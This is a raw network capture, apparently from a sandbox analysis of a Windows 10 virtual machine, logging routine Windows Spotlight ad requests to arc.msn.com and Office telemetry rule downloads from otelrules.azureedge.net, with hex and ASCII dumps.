2024-11-23 18:52:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 18:52:15 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 18:52:15 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49719	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:15 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185209Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=bfd90e5685e94ad7889edbcdf62d5a6e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598354&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598354&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATU6fhPXZYVho6a4p4vI2a74EooGr1lAbj7TEsMHWuixhG1doJrKKbt3trAazk79RhlGmjxG7bBJMzqYwbs1bBup/Dn5Wzb6bEjSIzdEBQ3r9jsDQYJP5YdEyLc1FkCdshJwVaqf+2v/wkpd7vfbiw7WBDTCl9nVIuCDTT1fTZGSLBLfeWhqPTpXzhhbTOKdYlchq5NRhYFLBm65xek5qYAnx0jxQvk/6khRtkjdw4MYGvFqJ59NfyJ6cd24DtcqZE732cRR0YGg6qTlkkoqaqSAGUhbBXC3lfimhuCY4NY/YD9QWVTjMhJsBmddSj/6X36mpEAhdqldMJNN7U1t33AQZgAAEIuG5pA6m1xk34TD24VCsZCwAdS+BY/+egxY58k/ZUMtGFvBsYIB7TaJg7OXOBtocq3p+N6a7Y/LDDCMSmPkR45jZo7K3r8c1mjaitJYsKUpMvhiZsytdBqrM11DrTe8FTBtLYQMBnasapr19W9rzjXrwfCome68/c5sA4Tmecm/zCRglGOszHAxH5Y4R+KakKXWjXssJe2ZFhFeGL1yNeoAdI3o34Vu410C8Y/Y6AbC5nYC75oE/oKU5I18lWz+neU8jegb4DbWAOtEKYuLRUzIf+YRyGJ6ZvqUv/l4oW8BYjpH/0/tVpsZnfBotMftlQLfKCjkL3VryY6xAvZv7LmM7BTZ300scIBgbIhVXRQxPFdZcvdTIvBESgOTzsmgT2zpAYyQAy7nuA45HLLPBKKoCTofxrSIFOgjoLQts11RKXQjOsaCnuv+nPMxHDniI7nKYdn9pWxOIr3F21Tqapr67GP5cddoIJhzCxMDBvGPaaSQtxMgocGFrwOeTopzf955MCokiQcyQITCeoZ7hL72v5QQn63Gy7XQSwrh3AoKmP0w4gKYeg76PTYOAiWTDVxkZt6cXuWUiWir+mO04V9fZNcB&p= Cache-Control: no-cache MS-CV: j1+60tOnT0mHt29r.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 18:52:15 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2939 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: j5WswrN8pzXQw0SUBQ6dWONd0ZJMhS/Pi4tXMW+ys4C2RVaKvZeVM4v3JNU/szvl8Q1KyKaj01ESGZTK9C3CJ7M77MSuhAIHmo6XSFQr4RorYK1YNpkX8RsuwDVanxwLK4nTfRJDeHLOUzAONUaPOI3mTucxHpMEtp2yiTGiF6MFkB1Fu6rdmlb628WRobbx2456qgveC+ya3wVatdRiatz/Jwn4Ah535XE0UB3JObRvAAXU8KtXB2n2PvwvDoAF37wkDvFKOTK+Z5tEM6wqE7JZ0yGhPiDdS/7oKUDxovrxOdAUMVdZyf7FAJbJNfqloSEYz65Cw+rHetQoIMvuLQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 18:52:15 GMT Connection: close
2024-11-23 18:52:15 UTC	2939	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49720	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:15 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185209Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d21e0fe109894e1f8ee1ff8f4a7c9aca&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598354&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598354&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVML5NBX5yFRq5mcK3NbYUCsh5TFa+v5IN1XJd+u2UJxckxlo16DWeoSgyj0wgVwXaYZeLHdNB5Kbxfgs3hw3Q0xHlwupXZIgt0xNa+FHs8w3r9VHk3aV9tCqgd1jYFsozRSTR903eAleBlEl2YOFl9YzTmuEUi8iQYRCBgy2ei0WVsW7VkzW7jfn9xn1RkHiefcmqCMuHdHuwF94YVCMiWkZ6p1mfgJASkcjTFfvVk18iyE3D9dsqhe7er6fw+QElQKCHu8ij4DSuGFln4i+gfq0iflGsg70j92xdo4CoMr4uiOiXKSyx634fr0qbWIdrHayJPi+EEofBJsibhB5zYQZgAAENjrRDee3qR4LBvPiqZNkrawAUbp/pca9AgLPrCg9vz83L6Lxzoc/SoqfaT71YKxQk0cVpHshFQagQ4nAHXTRgTPMXGurthZE+zBNhgesGvh00zxoB447y4jVipHRXq+SJsuldiNYD5Yyro0A8bCT5zH59hqeja3TiTzVfUCaP1PQewCY1oPu3m2/g2RWTIM/U3CMkbq2l/Zi51JUGQ24ItmaTJWlvWBaxQXx/PcFoHn18I0aVp269ft5gB977Pnj6U6Pu41jzVxAVpiWEImcsFbKGX/yv7dHdkQ3i/iI7gjpDoE7uHUmFY0PwzlVOIMb6DVBSQ+RVKnIWgz4v467ZzmIuGBQmFLxb3DQP0+ojqlTy5+XxBM7I/la+jZ0Fj3GgWFFrL1DJyzVVbGKCiHtZzAmd2Kp+cXi/v9RojqyftCkG9y3UFcJOpLK+E3hvQVKY0arCIpEsn979yIugln/O7di7vmfuROsdAKdkKmquCMwYMi3yayTL2pH4YjrSeJ/FQr8K4G0iwPoagNO+gEtv2AuVSPkAIsCa0U3ZIZ7rSwsmFc+nGGlMTwEzgSOpqnazgbvuHJIZ7KI4KmB3bsKO/kINcB&p= Cache-Control: no-cache MS-CV: j1+60tOnT0mHt29r.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 18:52:16 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 2299 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: LpGfc7KzdcYkQoe4srkH8MJdRJZMNzM3Isd9uNov7K66TIfkl5Ou2pxrPiHS1R6rPr+WQu6O1Unt1BiaIjYqEzWupKUTslVF6yjNXyRnCZA8gW0O01fbCohN9+M67JI9fGIlvcpUE9ww1YxVff+3EEx0qm4rBmXbd7ExBUP+8mfp56k81wv5az8XAX4s7TEA5hWoV4Cz+pNjr9UlMtxkJGo0VtE3/4rBDs5J1BK/WOUX90WMZUC4us9T/EDzHb5Q1nBRB0Ziww6CZfQ5hkcHDsg20FZ0c0+JKmlKmsY4X9/9k5zM0asf7Di97sV043nXikmvxG1vXQY/c0C4uE5ETg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 18:52:15 GMT Connection: close
2024-11-23 18:52:16 UTC	2299	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185217Z-178bfbc474bw8bwphC1NYC38b400000004q000000000au4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185217Z-178bfbc474bw8bwphC1NYC38b400000004sg0000000041wg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:17 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3b133675-d01e-002b-536c-3d25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185217Z-15b8b599d88wn9hhhC1TEBry0g00000003cg00000000a6ys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d279acb6-501e-0029-6110-3dd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185217Z-178bfbc474bwh9gmhC1NYCy3rs00000005100000000020zc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185217Z-178bfbc474bpnd5vhC1NYC4vr400000004u000000000dvn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
